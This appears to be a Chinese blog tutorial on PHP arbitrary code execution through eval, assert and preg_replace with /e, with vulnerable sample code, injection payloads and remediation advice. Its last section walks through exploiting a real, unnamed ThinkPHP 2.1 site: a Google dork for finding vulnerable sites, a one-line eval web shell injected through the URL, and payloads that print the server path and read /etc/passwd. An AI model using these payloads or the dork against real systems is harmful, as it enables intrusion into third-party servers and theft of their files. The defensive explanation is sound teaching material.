您好,登錄后才能下訂單哦!
0x00 什么是任意代碼執(zhí)行
當(dāng)應(yīng)用在調(diào)用一些能將字符串轉(zhuǎn)化成代碼的函數(shù)(如PHP重的eval)時,沒有考慮用戶是否能控制這個字符串,將造成代碼注入漏洞。狹義的代碼注入通常指將可執(zhí)行代碼注入到當(dāng)前頁面中,如PHP的eval函數(shù),可以將字符串代表的代碼作為PHP代碼執(zhí)行,當(dāng)用戶能夠控制這段字符串時,將產(chǎn)生代碼注入漏洞(也稱命令執(zhí)行)。廣義上的代碼注入,可以覆蓋大半安全漏洞的分類。
0x01 為什么存在任意代碼執(zhí)行
幾種常用函數(shù)語言,都有將字符串轉(zhuǎn)化成代碼去執(zhí)行的相關(guān)函數(shù)。
PHP ===> eval( ),assert( )
Python ===> exec( )
Asp ===> <%=CreateObject("wscript.shell").exec("cmd.exe /c ipconfig").StdOut.ReadAll()%>
0x02 為什么使用執(zhí)行代碼函數(shù)
應(yīng)用有時候會考慮靈活性、簡潔性,在代碼中調(diào)用eval之類的函數(shù)去處理。
function string2array(%data){ if($data == '') return array(); @eavl("\$array = $data"); return $array; } //當(dāng) $data 接受的字符串是這樣時: $data = "array( 'upload_maxsize' => '2048', 'upload_allowext' => 'jpg|jpge|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf', 'watermark_enable' ==> '1', )" //通過eval()函數(shù)就可以將字符串‘a(chǎn)rray(....)’作為數(shù)組賦值給$array,這樣會大大的提升代碼的靈活性和簡潔性。
0x03 漏洞分類
eval()、assert() (不常見)
preg_replace + /e 模式
0x04 漏洞利用(本地測試)
eval() ==>
#1: <?php $data = $_GET['data']; eval("\$ret = $data;"); echo $ret; /* payload: ?data=phpinfo() ?data=1;phpinfo() ?data=${phpinfo()} ?data=${@eval($_POST[x])} #一句話***,可以用菜刀連接 */ ?> #2: <?php $data = $_GET['data']; echo "\$ret= '$data'"; eval("\$ret = strtolower('$data');"); echo $ret; /* payload: ?data=');phpinfo();// ?data=');@eval($_POST[a]);// */ ?> #3: <?php $data = $_GET['data']; eval("\$ret = strtolower(\"$data\");"); echo $ret; /* payload ?data={${phpinfo()}} ?data=1");phpinfo();// ?data=${@eval($_POST[x])} */ ?>
preg_replace() ==>
<?php $data = $_GET['data']; echo $data; preg_replace('/<data>(.*)<\/data>/e', '$ret = "\\1";',$data); echo $ret; /* payload: ?data=<data>${phpinfo()}</data> 注:PHP 5.5.0 /e 修飾符已經(jīng)被棄用 */ ?>
0x05 修復(fù)方案
eval() ==>
能使用json保存數(shù)組、對象就是用json,不要將PHP對象保存成字符串,否則讀取的時候就需要使用eval
對于必須使用eval的情況,一定要保證用戶不能輕易接觸eval的參數(shù)(或用正則嚴(yán)格判斷輸入的數(shù)據(jù)格式)。
對于字符串,一定要使用單引號包裹可控代碼,并在插入前進(jìn)行addslashes
$data = addslashes($data)
eval("\$data = eval('$data');")
preg_replace() ==>
放棄使用preg_replace的/e修飾符
使用preg_replace_callback()替換
如果必須使用preg_replace()+e修飾符,請保證第二個參數(shù)中,對于正則匹配出的對象,用單引號包裹
0x06 實例測試
前面說了一大堆理論,現(xiàn)在來找個實例實際測試下。(本來想把網(wǎng)址公開的想想還是算了,這個漏洞的破壞性還是挺大的,就不公開了,我也怕“從web安全到派出所”......)
盡管不會公開網(wǎng)址,但是還會告訴大家怎么去找這種存在 任意代碼執(zhí)行 的網(wǎng)站
ok,下面開始一步一步去實現(xiàn)漏洞的利用
任意代碼執(zhí)行漏洞的存在環(huán)境:thinkphp 版本:2.1
google hacking 也就是谷歌搜索啊:
intext:thinkphp intext:"Fast & Simple OOP PHP Framework"intext:"2.1"
目標(biāo)站點url:http://www.xxxxxx.com/xxxx/id/43.html
為什么thinkphp這個版本存在 任意代碼執(zhí)行 漏洞,出現(xiàn)漏洞的代碼是什么我在這就不提了,大家 有興趣的可自行百度。
測試目標(biāo)url:按照上面說的我們先來測試看看時候存在任意代碼執(zhí)行
biubiubiu.....存在代碼執(zhí)行漏洞
直接上一句話吧.....
id/{${@eval($_POST[x])}}.html
返回當(dāng)前路徑:id/{${exit(print(getcwd()))}}.html
解釋下這句:getcwd() 返回當(dāng)前工作路徑 print() 打印一下 exit() 停止加載,網(wǎng)站停止渲染只會顯示當(dāng)前工作路徑
讀取文件:
id/{${exit(var_dump(file_get_contents($_POST[f])))}}.html
f=/etc/passwd
ok,現(xiàn)在利用完畢
本文有什么不對的地方,歡迎大家指正
歡迎大家交流學(xué)習(xí)
希望大家只用來做測試,不要搞破壞。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。